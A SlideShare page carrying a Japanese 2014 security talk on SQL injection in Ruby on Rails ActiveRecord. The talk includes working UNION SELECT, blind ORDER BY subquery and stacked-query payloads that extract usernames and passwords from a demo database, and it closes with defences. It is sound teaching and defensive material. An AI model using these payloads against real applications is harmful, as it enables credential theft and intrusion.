Rails SQL Injection Examplesの紹介

11,045 views
10,775 views

Published on

0 Comments
37 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
11,045
On SlideShare
0
From Embeds
0
Number of Embeds
685
Actions
Shares
0
Downloads
0
Comments
0
Likes
37
Embeds 0
No embeds

No notes for slide

Rails SQL Injection Examplesの紹介

  1. 1. Rails SQL Injection Examplesの紹介 2014年6月11日 徳丸 浩
  2. 2. Rails SQL Injection Examplesとは Copyright © 2010-2014 HASH Consulting Corp. 2
  3. 3. Rails SQL Injection Examplesとは 3http://rails-sqli.org/ より引用 Ruby on Railsの ActiveRecordのメソッド やオプションの指定方法 の誤りによるSQLインジェ クションのサンプル集
  4. 4. Example1:whereメソッド 4http://rails-sqli.org/ より引用
  5. 5. whereメソッドの用途と注意点 • SQLのWHERE句を「生で」指定できる • 文字列連結でWHERE句を組み立てると、普通 にSQLインジェクション脆弱となる • 正しくはプレイスホルダを使う(後述) • 前述の例は認証回避の例だが…飽きたw Copyright © 2010-2014 HASH Consulting Corp. 5
  6. 6. 脆弱性のあるアプリケーション Copyright © 2010-2014 HASH Consulting Corp. 6 @books = Book.where( "publish = '#{params[:publish]}' AND price >= #{params[:price]}") 山田 祥寛 (著) Ruby on Rails 4 アプリケーションプログラミング 技術評論社 (2014/4/11) に脆弱性を加えましたw ※元本に脆弱性があるわけではありません
  7. 7. UNION SELECTにより個人情報を窃取 Copyright © 2010-2014 HASH Consulting Corp. 7 priceに以下を入れる 1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at,updated_at FROM users -- SELECT “books”.* FROM “books” WHERE (publish =’’ AND price >= 1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at, updated_at FROM users --)
  8. 8. 対策 プレースホルダ 8Ruby on Rails 4 アプリケーションプログラミング、山田 祥寛より引用
  9. 9. Example2: orderメソッド 9http://rails-sqli.org/ より引用
  10. 10. ORDER BY (CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END) ASC って? • ORDER BY の後には式が書ける • 以下のSQL文は算数と国語の点数の合計でソートす る – SELECT * FROM 成績 ORDER BY (算数+国語) • 以下の式は、password列の一文字目が s なら 0 そうでなければ 1 を返す – CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 ELSE 1 END • よって、このORDER BYは、「パスワードの一文字目 が s」の利用者を先頭に集めるソート…だが、しかし Copyright © 2010-2014 HASH Consulting Corp. 10
  11. 11. どういうページを想定しているのか? Copyright © 2010-2014 HASH Consulting Corp. 11 こういうページですか? わかりません (>_<) これでは、 元々が個人情 報漏えいだw
  12. 12. とは言え、やってみた Copyright © 2010-2014 HASH Consulting Corp. 12 # SELECT "users".* FROM "users" ORDER BY (CASE SUBSTR(passwd, 1, 1) WHEN 'a' THEN 0 else 1 END) asc; id | userid | passwd | tel | mail ----+-----------+--------+--------------+--------------------- 1 | tanaka | abcd | 03-1234-5678 | tanaka@example.jp 2 | yamada | aaaa | 06-2345-6789 | yamada@example.jp 3 | ockeghem | dcba | 045-678-9012 | ockeghem@example.jp 4 | takahashi | cdcd | 099-123-4567 | takahashi@exmaple.jp パスワードの一文字目が「a」は、実際には2件該当している http://ror4:3000/users?order=(C ASE+SUBSTR(passwd,1,1)+WH EN+'a'+THEN+0+else+1+END) パスワードの一文字目が「a」のも のを先頭に持ってきたが、何件該 当するかが分からない。0件の可 能性もある
  13. 13. 課題は二つ • 個人情報の一覧ページがあり、ソート順を指定で きるという想定が現実的でない • 特定のソート条件は指定できるが、該当件数が わからない Copyright © 2010-2014 HASH Consulting Corp. 13
  14. 14. 改良1: 別の一覧と個人情報をマップする Copyright © 2010-2014 HASH Consulting Corp. 14
  15. 15. 書籍の一覧と個人情報をマップする Copyright © 2010-2014 HASH Consulting Corp. 15 # SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by passwd; id | title | userid | passwd ----+------------------------------------+-----------+------- 2 | JavaScriptライブラリ実践活用 | yamada | aaaa 1 | AndroidエンジニアのためのモダンJava | tanaka | abcd 4 | 書き込み式SQLのドリル | takahashi | cdcd 3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
  16. 16. ORDER BYの副問い合わせ Copyright © 2010-2014 HASH Consulting Corp. 16 # SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case when userid='ockeghem' then 0 else 1 end from users where books.id=users.id); (select case when userid='ockeghem' then 0 -- userid='ockeghem' を先頭に else 1 -- その他は後ろに end from users where books.id=users.id) ORDER BY の副問い合わせ
  17. 17. userid=ockeghemと対応する行を見つける Copyright © 2010-2014 HASH Consulting Corp. 17 # SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case when userid='ockeghem' then 0 else 1 end from users where books.id=users.id); id | title | userid | passwd ----+------------------------------------+-----------+-------- 3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba 1 | AndroidエンジニアのためのモダンJava | tanaka | abcd 2 | JavaScriptライブラリ実践活用 | yamada | aaaa 4 | 書き込み式SQLのドリル | takahashi | cdcd 先頭行がuserid=ockeghemに対応
  18. 18. 改良2: セパレータとなる行を挟む Copyright © 2010-2014 HASH Consulting Corp. 18
  19. 19. ORDER BYの副問い合わせ Copyright © 2010-2014 HASH Consulting Corp. 19 =# SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case userid when 'tanaka' then 0 when 'ockeghem' then 1 else 2 end from users where books.id=users.id); (select case userid when 'tanaka' then 0 -- 'tanaka' を先頭に when 'ockeghem' then 1 -- 'ockeghem' はセパレータ else 2 -- その他は後ろに end from users where books.id=users.id) ※セパレータがないと、'tanaka'が存在しない場合を区別できない ORDER BY の副問い合わせ
  20. 20. userid=tanakaと対応する行を見つける Copyright © 2010-2014 HASH Consulting Corp. 20 wasbook=# SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case userid when 'tanaka' then 0 when 'ockeghem' then 1 else 2 end from users where books.id=users.id); id | title | userid | passwd ----+------------------------------------+-----------+-------- 1 | AndroidエンジニアのためのモダンJava | tanaka | abcd 3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba 2 | JavaScriptライブラリ実践活用 | yamada | aaaa 4 | 書き込み式SQLのドリル | takahashi | cdcd userid=ockeghemをセパレータに
  21. 21. デモを見やすくするために書籍タイトルにユーザ名を併記 Copyright © 2010-2014 HASH Consulting Corp. 21 ※デモを見やすくするための表示であり、「改ざん」をするという想定ではありません 辞書攻撃で発 見したユーザ
  22. 22. パスワードに対する辞書攻撃(1) Copyright © 2010-2014 HASH Consulting Corp. 22 SELECT "books".* FROM "books" ORDER BY (select case when userid='ockeghem' then 1 when passwd='abcd' then 0 else 2 end from users where books.id=users.id) asc select case when userid='ockeghem' then 1 -- セパレータ when passwd='abcd' then 0 -- passwd='abcd' を先頭に else 2 end from users where books.id=users.id userid=ockeghemをセパレータに tanakaのパスワードがabcdと判明
  23. 23. パスワードに対する辞書攻撃(2) Copyright © 2010-2014 HASH Consulting Corp. 23 SELECT "books".* FROM "books" ORDER BY (select case when userid='ockeghem' then 1 when passwd='bcda' then 0 else 2 end from users where books.id=users.id) asc select case when userid='ockeghem' then 1 -- セパレータ when passwd='bcda' then 0 -- passwd='bcda' を先頭に else 2 end from users where books.id=users.id userid=ockeghemをセパレータに passwd=bcda は存在しないことが判明
  24. 24. 一文字ずつ試行するブラインドSQL インジェクション Copyright © 2010-2014 HASH Consulting Corp. 24
  25. 25. パスワードの1文字目が a の利用者を探す Copyright © 2010-2014 HASH Consulting Corp. 25 select id, title from books order by (select case when userid='ockeghem' then 1 when SUBSTR(passwd,1,1)='a' then 0 else 2 end from users where books.id=users.id) asc select case when userid='ockeghem' then 1 -- セパレータ when SUBSTR(passwd,1,1)='a' then 0 –- 1文字目が a を先頭に else 2 end from users where books.id=users.id userid=ockeghemをセパレータに tanakaとyamadaのパスワード 1文字目がaと判明
  26. 26. 1回の試行で1種類の文字チェック しかできないのは不効率だが… Copyright © 2010-2014 HASH Consulting Corp. 26
  27. 27. セパレータを増やせば、一度に多く の文字をチェック可能 Copyright © 2010-2014 HASH Consulting Corp. 27
  28. 28. aaaa, bbbb, cccc, ddddの4ユーザを登録 Copyright © 2010-2014 HASH Consulting Corp. 28 (select case userid when 'aaaa' then 0 when 'bbbb' then 1 when 'cccc' then 2 when 'dddd' then 3 else 4 end from users where books.id=users.id)
  29. 29. パスワードの一文字目をまとめてクエリ Copyright © 2010-2014 HASH Consulting Corp. 29 (SELECT CASE WHEN userid='aaaa' THEN 1 WHEN userid='bbbb' THEN 3 WHEN userid='cccc' THEN 5 WHEN userid='dddd' THEN 7 WHEN SUBSTR(passwd,1,1)='a' THEN 0 WHEN SUBSTR(passwd,1,1)='b' THEN 2 WHEN SUBSTR(passwd,1,1)='c' THEN 4 WHEN SUBSTR(passwd,1,1)='d' THEN 6 ELSE 99 END FROM users WHERE books.id=users.id) ※ 簡単化のためパスワードは a~d 4文字で構成とする
  30. 30. パスワードの1文字目を探索 Copyright © 2010-2014 HASH Consulting Corp. 30 tanakaとyamadaのパスワード 1文字目がaと判明 takahashiのパスワード1文字目がcと判明 ockeghemのパスワード1文字目がdと判明 tanaka a*** yamada a*** takahashi c*** ockeghem d***
  31. 31. パスワードの2文字目を探索 Copyright © 2010-2014 HASH Consulting Corp. 31 takahashiのパスワード2文字目がdと判明 ockeghemのパスワード2文字目がcと判明 tanaka ab** yamada aa** takahashi cd** ockeghem dc** tanakaのパスワード2文字目がbと判明 yamadaのパスワード2文字目がaと判明
  32. 32. パスワードの3文字目を探索 Copyright © 2010-2014 HASH Consulting Corp. 32 tanakaとtakahashiのパスワード 3文字目がcと判明 yamadaのパスワード3文字目がaと判明 ockeghemのパスワード3文字目がbと判明 tanaka abc* yamada aaa* takahashi cdc* ockeghem dcb*
  33. 33. パスワードの4文字目を探索 Copyright © 2010-2014 HASH Consulting Corp. 33 ockeghemとyamadaのパスワ ード1文字目がaと判明 tanaka abcd yamada aaaa takahashi cdcd ockeghem dcba tamalaとtakahashiのパスワー ド4文字目が d と判明
  34. 34. もっと簡単な方法はないのか? Copyright © 2010-2014 HASH Consulting Corp. 34
  35. 35. UNION(not ONION) は? Copyright © 2010-2014 HASH Consulting Corp. 35
  36. 36. ORDER BYの後にUNIONは使えない Copyright © 2010-2014 HASH Consulting Corp. 36 PG::SyntaxError: ERROR: "UNION"またはその近辺で構文エラー LINE 1: SELECT "books".* FROM "books" ORDER BY title UNION SELECT ... ^ : SELECT "books".* FROM "books" ORDER BY title UNION SELECT * FROM users -- asc
  37. 37. PostgreSQLの場合、複文は使え ないか? Copyright © 2010-2014 HASH Consulting Corp. 37
  38. 38. やはりエラーになる Copyright © 2010-2014 HASH Consulting Corp. 38 missing attribute: isbn SELECT "books".* FROM "books" ORDER BY title;SELECT * FROM users -- asc
  39. 39. しかし、missing attribute: isbn なら、別名として与えてやれば… Copyright © 2010-2014 HASH Consulting Corp. 39
  40. 40. ユーザー情報の窃取に成功 Copyright © 2010-2014 HASH Consulting Corp. 40 SELECT "books".* FROM "books" ORDER BY title;SELECT id,userid AS isbn,passwd AS title,1 AS price,mail AS publish,null AS published,false AS cd FROM users-- asc
  41. 41. 対策 Copyright © 2010-2014 HASH Consulting Corp. 42
  42. 42. 表名、列名によるSQLインジェクションの対策 • 以下のいずれか、あるいは複数を実施 • 列名をクォート&エスケープする • 列名が許可されたものかどうかを検査する – いわゆるホワイトリスト検査 • 列を数字で指定して、内部で列名に変換する Copyright © 2010-2014 HASH Consulting Corp. 43
  43. 43. 列名をシンボルに変換すると、クォート&エスケープされるが Copyright © 2010-2014 HASH Consulting Corp. 44 SELECT "books".* FROM "books" ORDER BY "books"."title""a" ASC def index p = params[:order].to_sym @books = p ? Book.order(p) : Book.all end
  44. 44. ユーザ入力を無条件にシンボルに変換するのはまずい • シンボルはGCで回収されない • 外部から任意のシンボルを作れる場合、非常に多数のシンボルを作ら れるとメモリを過度に消費してしまう • 類似の例にCVE-2014-0082がある • 列名のホワイトリスト検査と併用ならば可(シンボル数が抑制される) Copyright © 2010-2014 HASH Consulting Corp. 45 http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-001439.html より引用
  45. 45. まとめ • Ruby on RailsのActiveRecordの使い方に起因するSQLイン ジェクションを紹介 • ActiveRecordのメソッドには、与えられた文字列が「そのま ま」SQL文に展開されるものがある • 値パラメータについてはプレースホルダを活用 • 表名、列名、キーワードについては以下のいずれかを行う – 表名、列名、キーワードのホワイトリスト検査 – 外部では番号で指定して、内部で表名、列名、キーワード等に変換 する • SQL識別子のクォート&エスケープをさせる目的で、Rubyの 識別子を積極的に活用することの是非については有識者の ご意見をお伺いしたいです Copyright © 2010-2014 HASH Consulting Corp. 46

×